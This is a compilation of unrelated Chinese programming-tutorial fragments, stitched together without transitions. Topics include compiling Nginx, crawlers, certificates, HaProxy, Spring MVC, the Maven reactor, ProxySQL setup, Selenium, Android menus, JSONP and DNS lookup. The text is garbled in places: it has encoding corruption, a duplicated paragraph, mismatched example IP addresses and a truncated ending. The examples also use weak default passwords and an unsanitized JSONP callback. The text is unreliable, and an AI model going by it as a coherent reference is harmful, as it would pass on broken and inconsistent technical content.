Nginx 是完全使用 C 語言開發的,所以必須要有 C 編譯環境,往往 CentOS 7.6 的環境會預裝 gcc 編譯器,所以不用額外安裝,如果沒有使用 yum 直接安裝即可。另外,我們使用 Nginx 的壓縮功能、正則表達式功能等,需要安裝一些額外的依賴庫,這是必須要做的,不然在編譯階段就會報錯。如下 3 個是比較 Nginx 中比較常用模塊所依賴的庫,請在執行 Nginx 源碼編譯時提前安裝好。$ sudo yum install -y zlib zlib-devel$ sudo yum install -y pcre pcre-devel$ sudo yum install -y openssl openssl-devel編譯并安裝 $ cd nginx-1.17.6$ ./configure # 編譯,檢查依賴是否正確$ make && sudo make install # 安裝上述編譯和安裝命令就如同在 360 軟件中心,點擊一鍵安裝那樣,直接使用默認的配置(通常會將相關文件安裝到 C 盤目錄)。但是這樣往往不是我們需要的。特別是在 Nginx 中,可以指定安裝某些或者不安裝某些模塊,默認安裝的模塊只適合簡單的場景,往往在稍微復雜的情況下,就需要額外添加其他模塊,或者第三方以及自定義的模塊。這高可擴展性正是 Nginx 的一大亮點。想要查看 configure 的可選參數,使用 --help 選項即可:$ ./configure --help在所有可選參數中,最常用的有兩個:–prefix=PATH:配置 Nginx 安裝部署的根目錄。類似于在 Windows 下安裝軟件,我們指定安裝目錄;–with-xxx_module:–without-xxx_module 其中 xxx 表示 Nginx 一個模塊的名稱,例如:with-http_ssl_module -> 支持 SSL/TLS, 即 HTTPSwith-http_v2_module -> 支持 HTTP/2without-http_fastcgi_module -> 不使用 fastcgi為了后續測試功能完善,這里我們編譯時候,盡可能多的引入一些模塊:$ ./configure --prefix=/root/nginx \--with-http_ssl_module \--with-http_stub_status_module \--with-http_gzip_static_module \--with-stream \--with-http_realip_module \--with-http_flv_module \--with-http_random_index_module \--with-mail \--with-pcre \$ make && sudo make install這里 “\” 在 Linux 系統環境下表示兩行之間沒有換行,只是為了方便展示命令。一般而言,Nginx 的編譯是比較順利的,偶爾報錯是大部分因為需要增加的模塊依賴的一些庫沒有事先安裝好。對此,我們可以根據報錯信息進行修正問題,保證編譯順利進行。在上一步驟成功后,可以看到 Nginx 我們生成的 Nginx 編譯后的根目錄了。簡單說明根目錄下的內容:

1. 爬蟲簡介

網絡爬蟲是一段具有特殊含義的代碼,其功能是模擬用戶在瀏覽器上的操作,發送 HTTP 請求,接收數據,然后解析并保存數據,方便其他應用程序使用和分析。這個過程中間包含了許多自動化的操作,若使用得當,可以產生大量的經濟價值以及幫助我們減少繁雜的工作?;ヂ摼W上每天都會有無數的爬蟲在網絡上游走,獲取相應網站的數據。這些爬蟲和人一樣,有好有壞,有正義的,也有邪惡的。比如百度 Spider 等搜索引擎爬蟲,為我們提供了信息檢索的最新數據,我們能通過搜索關鍵字找到相應的網站,正是得益于百度 Spider 每天孜孜不倦的工作。搬運相應網站的地址和更新相應的信息數據,這也是必要的爬蟲,許多網站也樂于被百度爬蟲抓取最新數據。但是也存在許多惡意爬蟲,長時間、大規模的請求特定網站數據,給網站服務器造成了巨大的壓力,影響正常用戶請求,這也是許多網站討厭爬蟲并積極設置反爬蟲策略的原因。對于個人開發者而言,學好爬蟲技術,對于個人成長方面有著極大的好處:鍛煉個人技能,及時體驗技術帶來的好處:使用簡單的幾行 Python 代碼就能獲取網站數據,這樣的學習曲線遠勝于使用 C/C++ 進行爬蟲開發。這也是很多人選擇 Python 開發爬蟲的原因;在工作和生活上有時候能帶來極大的好處:比如收集數據,完成畢業論文;比如開-發一款 12306 搶票助手,解決回家搶票困難的問題;又或者抓取股票交易數據,幫助我們分析股票走勢等等。事實上,已經有很多人做了這些工作并在 Github 上進行了開源。事實上,爬蟲的應用還有很多,就不在此逐一說明了。接下來我們介紹 Python 的爬蟲框架以及使用爬蟲框架進行開發的好處。

4.1 重要項說明

用戶申請證書前生成了自己的一對公鑰 clientPub ,私鑰 clientPri,證書申請的提交內容中需要包含 clientPub。CA 機構也有自己的 公鑰 caPub ,私鑰 caPri ,用來生成最終的 CA 證書。數字簽名:數字簽名主要是依托了 Hash 算法的單向性和非對稱加密算法的特性來實現。將傳輸的內容(Http 的接口參數)用 Hash算法(如 MD5)生成一個很難反向逆推的摘要(就是一串字符串)。再繼續把摘要用非對稱算法的私鑰加密生成簽名,后面把簽名和信息體一起發送給接收者。接收著先用非對稱的公鑰對簽名進行解密得到摘要信息,然后采用發送著相同的 Hash 算法,把收到的信息(請求參數)進行 Hash 計算得到摘要2,將自己生成的摘要和發送過來的摘要相比較,一致就可以證明信息發送者的身份和內容都是正確的,沒有被偽造和篡改。數字證書:數字簽名能成功,一方面是借助 Hash 算法和 非對稱算法 的特性,另一方面取決于公鑰的可靠性。就像大街上有人告訴你你家的保險箱密碼你可能不信,但是如果是你爸告訴你的,這個消息的可靠性就高很多了。所以數字證書是一個權威機構頒發給你的,證書的內容包含了:申請者的身份信息,申請者自己的公鑰,證書的有效期等內容。從證書中取到公鑰,接下去就利用上面 數字簽名 的流程進行消息內容的驗證就好了。當然證書的有效性也是需要借助簽名算法來驗證的,權威機構的 CA 公鑰大家都是知道的,瀏覽器里面也都有內置。相當于我要拿 CA 的公鑰借助簽名算法計算證書的有效性,之后獲取到用戶端的公鑰,再拿這個公鑰同時借助簽名算法來驗證信息體。

1.4 enctype 屬性

enctype 用于定義表單數據提交到服務器的過程中如何對數據進行編碼,可選值有:application/x-www-form-urlencoded;multipart/form-data;text/plain第一種:application/x-www-form-urlencoded默認方式是第一種 application/x-www-form-urlencoded,當使用 form 表單提交數據時,需要對數據進行編碼,因為 URL 的數據是通過 ?key=value&key=value& 的方式傳輸給服務器,這其中有一些作為功能性質的特殊字符例如 & ? =,如果數據中帶有這些字符而且未進行編碼的話,可能會導致傳輸數據發生錯誤,例如原本是 ?key=value ,如果 value 是 123&456 的話,那么 結果服務器中接收到的 value 值變成 123,且多出一個 key=456,這種編碼方式叫做 URI 百分號編碼,其標準收錄在 RFC3986 中。當設置成 multipart/form-data 時,瀏覽器不對字符進行編碼,這種編碼方式通常適用于上傳文件。默認方式是第一種 application/x-www-form-urlencoded,對數據進行編碼。為什么要對提交的數據進行編呢?當使用 form 表單提交數據時,需要對數據進行編碼,因為 URL 的數據是通過 ?key=value&key=value& 的方式傳輸給服務器,這其中有一些作為功能性質的特殊字符例如 & ? =,如果數據中帶有這些字符而且未進行編碼的話,可能會導致傳輸數據發生錯誤,例如原本是 ?key=value ,如果 value 是 123&456 的話,那么 結果服務器中接收到的 value 值變成123,且多出一個 key=456,這種編碼方式叫做 URL 百分號編碼,其標準收錄在 RFC3986 中。第二種:multipart/form-data當設置成 multipart/form-data 時,瀏覽器不對字符進行編碼,這種編碼方式通常適用于上傳文件;第三種:text/plain使用第三種方式 text/plain 時,瀏覽器將請求參數放入 body 作為字符串處理,這種方式用于傳輸原生的 HTTP 報文,不適用任何格式化處理。

1.1 設置網頁頭部信息

第一步:我們還是選擇創建一個空白的 HTML 文檔。按照前幾節中介紹過的內容,我們依次點擊菜單欄中的文件,新建,新建空白 HTML 文檔。切換到代碼視圖我們可以看到,軟件自動創建了好一個文檔無標題文檔。并且在 <head> 標簽里已經有了默認的內容。它們分別是 meta 標簽, link 標簽,title 標簽。如下圖。我們來一一解釋一下各個標簽的作用。1.1.1 <meta>標簽<meta> 標簽是一個位于網頁頭部標簽中的輔助性標簽。它的作用是為頁面提供元信息,比如供搜索引擎使用的關鍵詞等。它有 http-equiv 屬性和 name 屬性。這些屬性帶有自己的參數,通過參數的變化來實現對網頁的控制。比如我們常能看到通過 <meta> 標簽來設置字符集。在這里大家一定要注意 <meta> 標簽一定是位于頭部標簽內部的,不能出現在其他地方,要嚴格執行這一點標準。1.1.2<link>標簽<link> 標簽是用來鏈接的標簽。這里大家肯定會問鏈接什么。在一個工程中,我們常常用這個標簽來鏈接樣式文件,如 CSS 文件。腳本文件,如 Javascript 文件。這個標簽在 Android 開發等其他領域的開發中還會有其他的作用,在這里我們不做過多贅述。我們只需要知道并且重點記憶的是:<link> 標簽用來鏈接 CSS 文件和 JS 文件。1.1.3 <title> 標簽毋庸置疑,這是個見名知意的標簽,這個標簽的作用是為網頁設置在瀏覽器中顯示的標題。對于今天大多數的選項卡式的瀏覽器來說,這里的標題會展是在選項卡頂部位置。網頁的標題往往是為了讓用戶能通過網頁標題來獲取他現在所在網頁的功能。同學們有沒有想過,如果一個網頁我們點開之后由于各種原因遲遲看不到網頁標題,用戶有極大概率會以為自己點錯了,或者放棄瀏覽網頁。因此,一個好的提醒意識,也是一個網頁設計者必備的素養之一。

3 HaProxy 組件基礎屬性

要想在集群中使用 HaProxy 組件,就需要在將 HaProxy 組件安裝完畢后,根據實際的業務場景去配置我們的 HaProxy 組件,以更好地服務于我們的集群環境。那么,配置 HaProxy 都有哪些基礎屬性呢,下面就讓我們來看一些在 HaProxy 組件中,最基礎的配置屬性。mode 屬性該屬性同時位于 defaults 配置項和 listen_rabbitmq_cluster 配置項下,其主要作用是用來聲明我們當前 RabbitMQ 集群節點中,HaProxy 所采用的代理模式,我們可以根據我們的實際業務需要來選擇采用哪種代理模式,支持采用 tcp 或 http 協議的代理模式。retries 屬性該屬性位于 defaults 配置項下,其主要作用是用來聲明,RabbitMQ 集群中,HaProxy 在集群間通信的一個嘗試次數,如果超過這個嘗試次數,集群的某一節點沒有返回響應,那么,HaProxy 就會認為該節點不可用。maxconn 屬性該屬性位于 defaults 配置項下,其主要作用是用來聲明,當前節點中所允許接入到 HaProxy 中的最大連接數,這個最大連接數應該根據實際的業務場景去設置,不能設置的過大或過小,一般都被設置為 2000 。clitimeout 屬性該屬性位于 defaults 配置項下,其主要作用是用來聲明,當前節點中客戶端的一個空閑時間,單位為秒,如果客戶端的空閑時間超過了這一約束,則 HaProxy 就會發起重連機制,重新連接集群各節點。servtimeout 屬性該屬性位于 defaults 配置項下,其主要作用是用來聲明,當前節點所在服務器的一個連接超時時間,單位也為秒,如果我們連接服務器所消耗的時間超過了這一限制,那么 HaProxy 也會發起重連機制,重新連接集群各節點。states uri 屬性該屬性位于 listen stats 配置項下,其主要用來聲明,在 HaProxy 組件中提供的集群監控 web 管控臺的一個地址,往往會集合位于同一配置項下的 bind 屬性來一起使用,通過bind 綁定訪問 ip 和端口號,通過 states uri 來綁定訪問路徑,這樣我們就可以使用這個地址來訪問 HaProxy 提供的集群 web 管控臺了。

2.1 使用原生 HttpServletRequest

先設定一個需要請求作用域的需求場景:需求說明: 用戶登錄成功后,在登錄成功后的頁面中顯示登錄者的信息。操作流程:準備好 3 個靜態頁面;login.html: 登錄頁面,接收用戶輸入的用戶名、密碼等與登錄相關的信息;index.html: 登錄成功后跳轉到的頁面;fail.html: 登錄失敗后跳轉到的頁面。編寫 login.html 頁面中的登錄表單;<form action="user/login" method="post"> 姓名:<input name="userName" value="" type="text"> <br /> 密碼:<input name="userPassword" value="" type="password"> <br /> <input name="btnLogin" value="登錄" type="submit"> <input name="btnRe" value="重置" type="reset"></form>編寫響應控制器;@RequestMapping("/login")public String login(User user,HttpServletRequest request) { if("mk".equals(user.getUserName()) && "123".equals(user.getUserPassword())) { //請求作用域 request.setAttribute("loginUser", user); return "index"; } return "fail";}login()方法有 2 個參數:user 參數: 以 OOP 的方式綁定請求包中傳過來的數據;request 參數: 注入原生 HttpServletRequest 組件。Spring 的注入功能很厲害的,只要你需要,它便能幫你拿到。登錄者的信息保存在 HttpServletRequest 對象中。Tips: HttpServletRequest 組件具有服務器端數據存儲功能,本質是內部維護有一個 map 對象。HttpServletRequest 的生命周期較短,從請求開始到請求結束。所以,其保存的數據也只能在整個請求范圍內有效。編寫 index.html 和 fail.html 頁面。idnex.html 頁面內,使用 EL 表達式,讀取請求作用域中的登錄者信息;<body>我是首頁<br/>當前登錄者:${loginUser.userName}</body>Tips: 這里有一個坑,需要提醒一下。通過 maven 創建的 WEB 項目的 web.xml 文件的頭信息版本偏低,使用 EL 表達式時,可能會在頁面中出現紅色的錯誤提示,其實并不影響發布。但終究讓人看的煩心??梢哉业?tomcat 服務器端的 web.xml 文件,用其頭信息替換下。fail.html 頁面簡單地加入一條 “失敗” 提示語就可以了??匆幌伦詈蟮捻椖拷Y構吧:最后的測試。啟動瀏覽器,在地址欄中輸入 http://localhost:8888/sm-demo/login.html 。打開登錄頁面;在登錄頁面中輸入用戶名和密碼,點擊登錄按鈕。Tips: 登錄的邏輯驗證使用了硬代碼,用戶名:mk,密碼:123。登錄成功后,會轉到首頁,且在首頁中顯示出登錄者的信息。

3. 反應堆

反應堆指的是整個項目中所有模塊的構建結構。在本節的例子中,整個構建結構包括三個模塊。反應堆不僅僅包括模塊本身,還包括了這三個模塊直接的相互依賴關系。現在,我們的示例項目中,mall-core 和 mall-account 是不存在依賴關系的。父模塊中模塊的配置順序如下:<!-- 模塊配置 --><modules> <module>mall-core</module> <module>mall-account</module></modules>這里我們稍微做一下調整,用戶管理模塊可以提供接口給核心業務模塊來調用,因此,在 mall-core 模塊中引入 mall-account 依賴。重新進行項目構建。[INFO] Scanning for projects...[INFO] ------------------------------------------------------------------------[INFO] Reactor Build Order:[INFO][INFO] mall-aggregator [pom][INFO] mall-account [jar][INFO] mall-core [jar][INFO][INFO] ----------------------< com.mic:mall-aggregator >-----------------------[INFO] Building mall-aggregator 1.0.0-SNAPSHOT [1/3][INFO] --------------------------------[ pom ]---------------------------------[INFO][INFO] --- maven-clean-plugin:2.5:clean (default-clean) @ mall-aggregator ---[INFO][INFO] ------------------------< com.mic:mall-account >------------------------[INFO] Building mall-account 1.0.0-SNAPSHOT [2/3][INFO] --------------------------------[ jar ]---------------------------------[INFO] ...[INFO] -------------------------< com.mic:mall-core >--------------------------[INFO] Building mall-core 1.0.0-SNAPSHOT [3/3][INFO] --------------------------------[ jar ]---------------------------------[INFO] ...[INFO] ------------------------------------------------------------------------[INFO] Reactor Summary for mall-aggregator 1.0.0-SNAPSHOT:[INFO][INFO] mall-aggregator .................................... SUCCESS [ 0.220 s][INFO] mall-account ....................................... SUCCESS [ 1.006 s][INFO] mall-core .......................................... SUCCESS [ 0.132 s][INFO] ------------------------------------------------------------------------[INFO] BUILD SUCCESS[INFO] ------------------------------------------------------------------------[INFO] Total time: 1.533 s[INFO] Finished at: 2020-05-05T14:25:48+08:00[INFO] ------------------------------------------------------------------------從構建的結果來看,模塊的構建順序并不是按照我們在父模塊中配置的順序進行的,而是 Maven 在經過分析之后,生成反應堆,根據反應堆的構建順序來進行構建的。實際上,Maven 會根據模塊間繼承與依賴的關系來形成一個有向非循環圖,并根據圖中標記的順序,來生成反應堆構建順序,在構建的時候,根據這個順序來進行構建。本節中的實例項目的有向非循環圖如下:繼承與依賴關系的有向非循環圖 在這個圖中,是不能出現循環的,假如我們在 mall-account 模塊中也添加入 mall-core 的依賴,再進行項目構建的時候,Maven 則會報錯出來,提示我們這個反應堆中存在循環引用。[INFO] Scanning for projects...[ERROR] [ERROR] The projects in the reactor contain a cyclic reference: Edge between 'Vertex{label='com.mic:mall-account:1.0.0-SNAPSHOT'}' and 'Vertex{label='com.mic:mall-core:1.0.0-SNAPSHOT'}' introduces to cycle in the graph com.mic:mall-core:1.0.0-SNAPSHOT --> com.mic:mall-account:1.0.0-SNAPSHOT --> com.mic:mall-core:1.0.0-SNAPSHOT @[ERROR] The projects in the reactor contain a cyclic reference: Edge between 'Vertex{label='com.mic:mall-account:1.0.0-SNAPSHOT'}' and 'Vertex{label='com.mic:mall-core:1.0.0-SNAPSHOT'}' introduces to cycle in the graph com.mic:mall-core:1.0.0-SNAPSHOT --> com.mic:mall-account:1.0.0-SNAPSHOT --> com.mic:mall-core:1.0.0-SNAPSHOT -> [Help 1][ERROR][ERROR] To see the full stack trace of the errors, re-run Maven with the -e switch.[ERROR] Re-run Maven using the -X switch to enable full debug logging.[ERROR][ERROR] For more information about the errors and possible solutions, please read the following articles:[ERROR] [Help 1] http://cwiki.apache.org/confluence/display/MAVEN/ProjectCycleException

2.2 安裝配置

安裝 proxysql:--新安裝rpm -ivh proxysql-2.0.5-1-centos7.x86_64.rpm--升級rpm -Uvh proxysql-2.0.5-1-centos7.x86_64.rpm--刪除rpm -qa | grep proxysqlrpm -e proxysql-2.0.5-1-centos7.x86_64--啟動proxysqlservice proxysql start--檢查版本proxysql –version--proxysql路徑/var/lib/proxysql配置后端 MySQL 機器:登入 ProxySQL,把 MySQL 主從的信息添加進去。將主庫 master 也就是做寫入的節點放到 HG 100中,salve 節點做讀放到 HG 1000。--配置后端MySQL機器(在ProxySQL中執行)--登錄proxysql管理端口mysql -uadmin -padmin -h127.0.0.1 -P6032;insert into mysql_servers(hostgroup_id,hostname,port,weight,max_connections,max_replication_lag,comment) values(100,'192.168.0.1',3306,1,500,10,'mysql-1'),(1000,'192.168.0.1',3306,10,500,10,'mysql-1'),(1000,'192.168.0.2',3306,45,500,10,'mysql-2'),(1000,'192.168.0.3',3306,45,500,10,'mysql-3');select * from mysql_servers; -- 持久化(在ProxySQL中執行)save mysql servers to disk;-- 加載到線上(在ProxySQL中執行)load mysql servers to runtime;配置后端 MySQL 用戶:這個用戶需要先在后端 MySQL 里真實存在,一個是監控賬號,一個是程序賬號:--監控賬號(在MySQL中執行)GRANT USAGE ON *.* TO 'monitor_user'@'192.%' IDENTIFIED BY '123456';--程序賬號(在MySQL中執行)GRANT SELECT, INSERT, UPDATE, DELETE ON center.* TO 'app_user'@'192.%' identified by '123456';在每個 ProxySQL 中執行,配置后端 MySQL 監控用戶:--登錄proxysql管理端口mysql -uadmin -padmin -h127.0.0.1 -P6032;UPDATE global_variables SET variable_value='monitor_user' WHERE variable_name='mysql-monitor_username';UPDATE global_variables SET variable_value='123456' WHERE variable_name='mysql-monitor_password';--加載和持久化save mysql variables to disk;load mysql variables to runtime; --配置后端MySQL程序用戶(在ProxySQL中執行)insert into mysql_users(username,password,active,default_hostgroup,transaction_persistent, max_connections) values('app_user','123456',1,100,1,500) -- 持久化(在ProxySQL中執行)save mysql users to disk;-- 加載到線上(在ProxySQL中執行)load mysql users to runtime;加載配置和變量-- 持久化(在ProxySQL中執行)save mysql servers to disk;save mysql users to disk;save mysql variables to disk;save mysql query rules to disk;-- 加載到線上(在ProxySQL中執行)load mysql servers to runtime;load mysql users to runtime;load mysql variables to runtime;load mysql query rules to runtime;定義路由規則-- 發送到主庫(在ProxySQL中執行)INSERT INTO mysql_query_rules(active,match_pattern,destination_hostgroup,apply) VALUES(1,'^SELECT.*FOR UPDATE$',100,1);-- 發送到從庫(在ProxySQL中執行)INSERT INTO mysql_query_rules(active,match_pattern,destination_hostgroup,apply) VALUES(1,'^SELECT',1000,1);-- 加載(在ProxySQL中執行)save mysql query rules to disk;load mysql query rules to runtime;MGR配置--配置MGR信息(在每個ProxySQL中執行)insert into mysql_group_replication_hostgroups (writer_hostgroup,reader_hostgroup,backup_writer_hostgroup, offline_hostgroup,active,max_writers,writer_is_also_reader,max_transactions_behind) values (100,1000,101,102,1,1,1,100);select * from mysql_group_replication_hostgroups;-- 加載(在每個ProxySQL中執行)save mysql servers to disk;load mysql servers to runtime;--導入sys視圖(在MySQL主庫中執行)source /software/addition_to_sys.sqladdition_to_sys.sql可以從http://lefred.be/content/mysql-group-replication-native-support-in-proxysql下載--授權sys庫(在MySQL主庫中執行)GRANT SELECT on sys.* to 'monitor_user'@'192.%';--查看MGR成員基本信息(在MySQL中執行),監測節點的健康與落后情況select * from sys.gr_member_routing_candidate_status;--查看MGR各節點狀態(在ProxySQL中執行)select hostgroup_id, hostname, status from runtime_mysql_servers;--查看MGR各節點日志信息(在ProxySQL中執行)select * from mysql_server_group_replication_log order by time_start_us desc limit 5;

1. Selenuim 介紹與使用

Selenium 是一個用于 Web 應用程序自動化測試工具,提供一系列的測試函數。這些函數非常靈活,能夠完成界面元素定位、窗口跳轉、結果比較。Selenium 測試直接運行在瀏覽器中,就像真正的用戶在操作一樣。該自動化測試工具具有如下幾個鮮明的特點:支持多種瀏覽器:IE、Firefox、Safari、Chrome 等主流瀏覽器都是支持的;支持多種變成語言:支持主流的編程語言,如 Java、Python、Ruby、PHP 等;支持多種操作系統:如 Windows、Linux、IOS 以及 Android 等;開源免費:selenuim 在 github 上進行了開源,star 和 fork 數都彰顯了該項目的流行度。Selenium框架由多個工具組成,包括:Selenium IDE,Selenium RC,Selenium WebDriver和SeleniumRC。我們直接來在使用 Python 操作 Selenuim:安裝 selenium 模塊:pip install selenium -i http://mirrors.aliyun.com/pypi/simple/ --trusted-host mirrors.aliyun.com;接下來,我們要使用 Google 瀏覽器完成 selenium 的自動化操作,因此需要安裝相應的 webdriver。對應 Google 瀏覽器的 webdriver 的下載地址為:下載。找到對應的 Chrome driver 版本,下載即可:本地 chrome 版本查看選擇 webdriver 版本下載了 webdriver 包后解壓得到 chromedriver.exe,將其放到和 Chrome 瀏覽器相同的路徑下:解壓chromedriver包,將exe文件放到chrome的目錄下去接下來將上面的這個路徑添加到系統變量 Path 中去,確保能找到 chromedriver.exe 這個文件:添加 chromedriver.exe 所在目錄到Path變量中去?接下來,我們完成一段簡單的 Selenium 自動化測試代碼,幫助我們更好的理解 Selenium 這個工具:"""selenium工具測試"""from selenium import webdriverfrom selenium.webdriver.common.by import Byfrom selenium.webdriver.support.ui import WebDriverWaitfrom selenium.webdriver.support import expected_conditions as ECdriver = webdriver.Chrome()# 請求百度頁面driver.get("https://www.baidu.com") # 找到輸入框位置input = driver.find_element_by_id("kw")# 輸入"慕課網 wiki寶典"input.send_keys("慕課網 wiki寶典")# 找到<百度一下>按鈕button = driver.find_element_by_id("su")# 點擊button.click()# 直到出現分頁元素element = WebDriverWait(driver, 10).until( EC.presence_of_element_located((By.ID, "page")))# 找到搜索內容的第一條結果wiki_page = driver.find_element_by_xpath('//div[@id="content_left"]/div[1]/h3/a')# 點擊跳轉到慕課網的wiki頁面wiki_page.click()上面的代碼比較簡單,我們只需要了解下 selenium 工具提供的基本函數就能夠理解,代碼中已經做好了相關注釋,我們直接來運行看看效果如何:103是不是有點意思?這段代碼幫我們自動啟動 Chrome 瀏覽器,跳轉到百度頁面,然后再輸入框中輸入 “慕課網 wiki”,然后點擊百度一下。在搜索的頁面中選擇第一個點擊,進入到慕課網的 wiki 頁面中。這整個過程就是由代碼控制完成,沒有人為操作,這是不是就是我們想象的自動化測試呢?自信點,就是這樣的!

2. Menu 資源的創建方法

對于以上提到的 3 種類型的菜單,你都可以通過 Java 代碼或者 XML 資源文件兩種方式創建,但大多數情況下我強烈推薦使用XML 的形式。用 XML 可以對菜單結構一目了然,并且和邏輯代碼物理隔離,更有利于我們維護。在編寫完 XML 菜單資源之后,在 Java 代碼中直接 inflate 加載資源文件即可。創建菜單資源需要以下步驟:右鍵點擊“res”目錄,依次選擇:new -> Android resource directory ,如下:在彈出的窗口中輸入“menu”并選擇 Resource Type 為“menu”,點擊 OK:右鍵點擊“menu”文件夾,依次選擇“New -> Menu resource file”,在 menu 目錄新增一個名為“menu.xml”的菜單資源:創建完成之后,就可以開始編寫 menu.xml 文件了,一個菜單資源文件通常包含以下標簽:menu:必選標簽。用來定義一個菜單,菜單內所有的選項(item)都需要寫在<menu/>標簽內,同時它也是整個 menu 資源文件的根節點。item:必選標簽。用來創建一個菜單項,每一個<item/>標簽代表 menu 中的一個選項,另外在 <item/>中我們還可以嵌套定義<menu/>節點,以此來創建一個子菜單。group:可選標簽。用來將多個<item/>標簽做分組,它用來對菜單里的選項進行分類,這樣同類型的選項可以共享一些屬性,增強選項類別。在了解了菜單資源標簽之后,我們就可以簡單編寫一個菜單資源了,代碼非常簡單如下:<?xml version="1.0" encoding="utf-8"?> <menu xmlns:android="http://schemas.android.com/apk/res/android"> <item android:id="@+id/main_menu" android:title="我要學習客戶端開發" android:icon="@drawable/ic_launcher" > <!-- 添加客戶端子菜單 --> <menu> <item android:id="@+id/submenu1" android:title="學習 Android" android:icon="@drawable/ic_launcher"/> <item android:id="@+id/submenu2" android:title="學習 iOS" android:icon="@drawable/apple" /> </menu> </item> </menu>其中<item/>標簽支持幾種屬性來配置樣式或者行為,常用的屬性比較好理解,主要有以下 2 種:android:id:菜單項的資源 ID,用來唯一標識某個選項,后續可以通過 ID 來判斷用戶點擊的是哪個菜單項。android:icon:設置菜單項對應的圖標android:title:設置菜單項的內容

3.1 JSONP

JSONP 是一個非常經典的解決跨域的方法。我們知道,在 HTML 中,一些資源的引用事實上是不會受到跨域限制的,比如 script 標簽。瀏覽器在解析 HTML 的時候,解析到了 script 標簽,會把相應的資源下載下來。我們可以利用這一點,來實現前后端信息的交互。3.1.1 JSONP 原理定義好回調函數,比方說命名為 callback ,并將函數名作為 url 的參數;添加 script 標簽,指定的資源為目標域的方法,也就是上面的 url ;后端接收 GET 請求,返回 callback(responseData) 格式數據,把要返回的數據 responseData 傳到 callback() 中;前端接收 javaScript 內容,執行了后端返回的 callback(responseData) ,這樣就完成了一次前后端交互了。3.1.2 具體例子假如 HTML 有一個容器為 container,我們要通過 JSONP 的方式來為 container 插入一條內容,那么,我們可以這么做:3.1.2.1 HTML 關鍵代碼<div id="container"></div>3.1.2.2 javaScript 關鍵代碼// jsonp// 定義一個添加內容的回調函數window.addContent = function (content) { document.getElementById('container').innerHTML = content;}/*** 發送 JSONP 請求的函數* cb 為回調函數的函數名*/function sendJsonPRequest (cb) { // 創建 script 標簽 const body = document.getElementsByTagName('body')[0]; const script = document.createElement('script'); script.type = 'text/javascript'; // 指定標簽的 url ,callback 參數為回調函數的函數名 script.src = `http://localhost:8082/jsonp/get?callback=${cb}`; body.appendChild(script); // 添加到 body 最后面}sendJsonPRequest('addContent') // 執行發送 JSONP 請求顯而易見,前端我們會創建一個 script 標簽,并且附帶定義好的回調函數的函數名傳給服務端。與此同時,我們需要在服務端進行 JSONP 請求的響應。3.1.2.3 服務端關鍵代碼router.get("/jsonp/get", function(req, res) { const cb = req.query.callback; // 讀取請求附帶的參數 callback const resData = '這是一條服務端返回的內容'; res.send(`${cb}(${JSON.stringify(resData)})`); // 返回 callback(resData) 格式的數據});3.1.2.4 效果從右邊控制臺可以看出來,我們成功創建了 JSONP 的請求,并且結果正如我們預期的執行了 addContent('這是一條服務端返回的內容'),界面上展示出插入的內容。3.1.3 JSONP 小結使用 JSONP 的方式,我們可以通過 script 標簽繞過瀏覽器的跨域限制,進行前后端數據交互。不過另一方面,這種方法也很有局限性,我們只能夠發送 GET 請求,無法滿足更加復雜業務的需求。一般我們也不會推薦直接使用 JSONP 的方式來解決跨域問題。

2.1 DNS域名解析

題目解析:輸入 URL 之后,瀏覽器做的第一件事情就是 DNS 域名解析。在之前的小節,我們分析五層網絡模型時就知道了數據鏈路層傳輸的幀,并不是通過字符串 “http://imooc.com” 尋找到目標主機,而是通過 MAC 地址找到目標主機的硬件地址,要通過 ARP 協議解析獲取 MAC 地址,我們需要目標主機的 IP 地址,所以問題是如何通過域名獲取對應 IP 地址。所以第一個步驟,我們需要獲取域名對應的IP地址,會經過以下幾個步驟:(1)訪問 Hosts 文件瀏覽器會首先查看本機的 Hosts 文件,是否已經存在映射關系。Hosts文件是用來存儲常用的域名和對應IP地址關系的關聯文件,例如在Hosts文件中存儲了"www.xianlaiwan.cn" -> "204.1.17.89",那么我們不需要訪問DNS服務器即可獲取百度域名對應的IP地址。(2)訪問本地緩存如果 Hosts 文件中不存在映射關系,瀏覽器(例如Chrome)會再查看瀏覽器本地的緩存,是否存在映射關系。(3)訪問 DNS 服務器? (圖1:域名到IP的解析模型)DNS 解析的過程簡單來看,是從"我的電腦"傳輸域名"www.xianlaiwan.cn"到 DNS 服務器,解析生成IP后返回給"我的電腦"。但是面試官一般會接著詢問 DNS 解析的詳細過程,依次考察候選人的知識深度。(圖2:DNS 迭代查詢的具體過程)步驟(1):瀏覽器會向本地 DNS 服務器發送域名報文。步驟(2):本地 DNS 接收報文之后,會將請求轉發到根 DNS 服務器。步驟(3):根 DNS 服務器通過".com"后綴返回 com 頂級域名服務器的IP地址205.0.1.2。步驟(4):本地 DNS 服務器帶著域名訪問IP:205.0.1.2頂級域名服務器。步驟(5):com 頂級域名服務器根據后綴"imooc.com",返回 IP 地址206.0.1.3。步驟(6):本地 DNS 服務器帶著域名訪問IP206.0.1.3二級域名服務器。步驟(7):二級域名服務器通過www.xianlaiwan.cn查詢到了域名對應的實際IP地址210.1.17.89,返回給本地 DNS 服務器。步驟(8):本地 DNS 服務器透傳IP210.1.17.89返回給"我的電腦"。

2. 響應的本質

Spring MVC 項目中的用戶控制器用來處理用戶的請求,無論處理的結果如何,都需要給用戶一個響應,HTTP 響應包可以說是這個響應結果的載體。理論上講,用戶控制器處理完請求,得到的結果數據可以直接寫入到響應包中。@Controllerpublic class ResponseAction {@RequestMapping("/response01")public void response01(HttpServletResponse response) throws IOException { //發送給客戶端的響應數據 String hello="hello"; PrintWriter out =response.getWriter(); out.write(hello); out.close();}}把需要響應給客戶端的數據寫入響應包中便是響應的本質。如果僅僅只是把數據發送給客戶端,數據在瀏覽器中顯示時,出來的樣式會過于簡單、甚至丑陋。要解決這個問題,也好辦,發送數據時,也附帶發送數據格式。Tips:如果客戶端只需要純數據,如 JSON 格式,則可以直接使用上面的方法。修改上面的響應數據:String hello="<font color=\"red\">hello</font>";這時,在瀏覽器中不僅能看到數據,還能用設計好的樣式顯示出來。初期 WEB 開發,便采用了這種 “數據 + 樣式” 的方式。因初期頁面中數據并不是很多,人為對于頁面無素顯示也沒有多大需求。但是,隨著項目功能越來越大,數據量成倍增加,比如說商城首頁,需要顯示當前登錄者信息、商品信息、推薦的商品信息、用戶瀏覽信息…… 并且用戶對最終顯示結果也提出了更多要求,如美觀、大方、整潔……如果還是如前面一樣,把數據和 HTML 